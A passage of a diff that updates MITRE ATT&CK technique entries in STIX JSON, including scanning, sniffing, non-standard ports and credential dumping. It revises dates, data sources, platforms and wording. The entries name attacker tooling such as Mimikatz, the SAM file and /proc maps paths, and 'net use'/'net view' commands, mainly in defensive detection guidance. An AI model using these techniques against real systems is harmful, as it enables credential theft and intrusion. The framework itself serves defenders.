online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413", "type": "attack-pattern", "kill_chain_phases": [ @@ -20510,7 +21737,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:04:13.578Z", + "modified": "2021-04-15T03:31:54.275Z", "created": "2020-10-02T16:01:35.350Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -20520,15 +21747,6 @@ ] }, { - "created": "2017-05-31T21:30:43.915Z", - "modified": "2020-03-11T19:55:53.828Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Service Scanning", @@ -20548,13 +21766,21 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-04-09T14:56:26.562Z", + "created": "2017-05-31T21:30:43.915Z", "x_mitre_platforms": [ - "Linux", "Windows", + "IaaS", + "Linux", "macOS", - "AWS", - "GCP", - "Azure" + "Containers" ], "x_mitre_permissions_required": [ "Administrator", @@ -20563,13 +21789,11 @@ ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "Process command-line parameters", - "Process use of network" + "Command: Command Execution", + "Cloud Service: Cloud Service Enumeration", + "Network Traffic: Network Traffic Flow" ], - "x_mitre_version": "2.1", + "x_mitre_version": "2.2", "x_mitre_contributors": [ "Praetorian" ], @@ -20613,7 +21837,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Share Connection Removal", - "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)", + "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)", "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "type": "attack-pattern", "kill_chain_phases": [ @@ -20622,7 +21846,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-01-31T12:39:18.816Z", + "modified": "2021-02-09T13:31:01.970Z", "created": "2020-01-31T12:39:18.816Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -20638,10 +21862,10 @@ ], "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", "x_mitre_data_sources": [ - "Authentication logs", - "Packet capture", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Traffic Content", + "User Account: User Account Authentication" ], "x_mitre_platforms": [ "Windows" @@ -20651,7 +21875,7 @@ "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Share Discovery", - "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.", + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share.", "external_references": [ { "source_name": "mitre-attack", @@ -20684,7 +21908,7 @@ "phase_name": "discovery" } ], - "modified": "2020-10-07T18:10:06.463Z", + "modified": "2020-12-29T19:07:11.154Z", "created": "2017-12-14T16:46:06.044Z", "x_mitre_is_subtechnique": false, "x_mitre_contributors": [ @@ -20700,27 +21924,13 @@ ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Network protocol analysis", - "Process use of network" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_version": "3.0" }, { - "created": "2017-05-31T21:30:41.399Z", - "modified": "2020-03-25T21:03:49.610Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -20740,14 +21950,25 @@ "name": "Network Sniffing", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", - "x_mitre_version": "1.1", - "x_mitre_data_sources": [ - "Network device logs", - "Host network interface", - "Netflow/Enclave netflow", - "Process monitoring" + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } ], - "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.", + "modified": "2021-04-02T17:51:59.236Z", + "created": "2017-05-31T21:30:41.399Z", + "x_mitre_version": "1.2", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.", "x_mitre_permissions_required": [ "Administrator", "SYSTEM" @@ -20755,7 +21976,8 @@ "x_mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "x_mitre_system_requirements": [ "Network interface access and packet capture driver" @@ -20780,7 +22002,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Topology", - "description": "Before compromising a victim, adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5", "type": "attack-pattern", "kill_chain_phases": [ @@ -20789,7 +22011,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:04:40.188Z", + "modified": "2021-04-15T03:33:02.476Z", "created": "2020-10-02T15:49:03.815Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -20816,7 +22038,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Trust Dependencies", - "description": "Before compromising a victim, adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e", "type": "attack-pattern", "kill_chain_phases": [ @@ -20825,7 +22047,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:05:03.816Z", + "modified": "2021-04-15T03:34:22.917Z", "created": "2020-10-02T15:47:59.457Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -20928,12 +22150,8 @@ "Ryan Becwar" ], "x_mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network intrusion detection system", - "Network protocol analysis", - "Packet capture", - "Process use of network" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", "x_mitre_network_requirements": true, @@ -20946,6 +22164,22 @@ "x_mitre_is_subtechnique": false }, { + "created": "2020-03-14T23:39:50.117Z", + "modified": "2020-03-14T23:39:50.117Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", + "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ", + "name": "Non-Standard Encoding", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -20968,41 +22202,38 @@ "source_name": "University of Birmingham C2" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Non-Standard Encoding", - "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ", - "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", - "type": "attack-pattern", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" + }, + { + "created": "2020-03-14T18:18:32.443Z", + "modified": "2020-03-26T22:02:25.221Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "command-and-control" } ], - "modified": "2020-03-14T23:39:50.117Z", - "created": "2020-03-14T23:39:50.117Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "User" + "type": "attack-pattern", + "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", + "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", + "name": "Non-Standard Port", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", - "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" - ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - { "external_references": [ { "source_name": "mitre-attack", @@ -21025,36 +22256,19 @@ "source_name": "University of Birmingham C2" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Non-Standard Port", - "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", - "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "modified": "2020-03-26T22:02:25.221Z", - "created": "2020-03-14T18:18:32.443Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)", - "x_mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Netflow/Enclave netflow", - "Packet capture" - ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)", + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0" }, { "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", @@ -21123,7 +22337,7 @@ "phase_name": "credential-access" } ], - "modified": "2020-06-09T20:46:00.758Z", + "modified": "2021-02-09T14:15:25.186Z", "created": "2017-05-31T21:30:19.735Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -21136,12 +22350,17 @@ "SYSTEM", "root" ], - "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "PowerShell logs", - "Process command-line parameters" + "Process: Process Creation", + "Process: Process Access", + "Command: Command Execution", + "File: File Access", + "Windows Registry: Windows Registry Key Access", + "Active Directory: Active Directory Object Access", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Process: OS API Execution" ], "x_mitre_contributors": [ "Vincent Le Toux", @@ -21210,10 +22429,9 @@ ], "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.", "x_mitre_data_sources": [ - "Network device logs", - "Netflow/Enclave netflow", - "Network intrusion detection system", - "SSL/TLS inspection" + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Linux", @@ -21288,7 +22506,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-16T19:24:20.601Z", + "modified": "2021-04-24T13:19:18.594Z", "created": "2017-05-31T21:30:32.662Z", "x_mitre_is_subtechnique": false, "x_mitre_version": "1.1", @@ -21297,18 +22515,12 @@ "Christiaan Beek, @ChristiaanBeek" ], "x_mitre_data_sources": [ - "Network protocol analysis", - "Process use of network", - "File monitoring", - "Malware reverse engineering", - "Binary file metadata", - "Process command-line parameters", - "Environment variable", - "Process monitoring", - "Windows event logs", - "Network intrusion detection system", - "Email gateway", - "SSL/TLS inspection" + "File: File Content", + "File: File Metadata", + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution", + "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Host forensic analysis", @@ -21353,7 +22565,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Obtain Capabilities", - "description": "Before compromising a victim, adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", + "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "type": 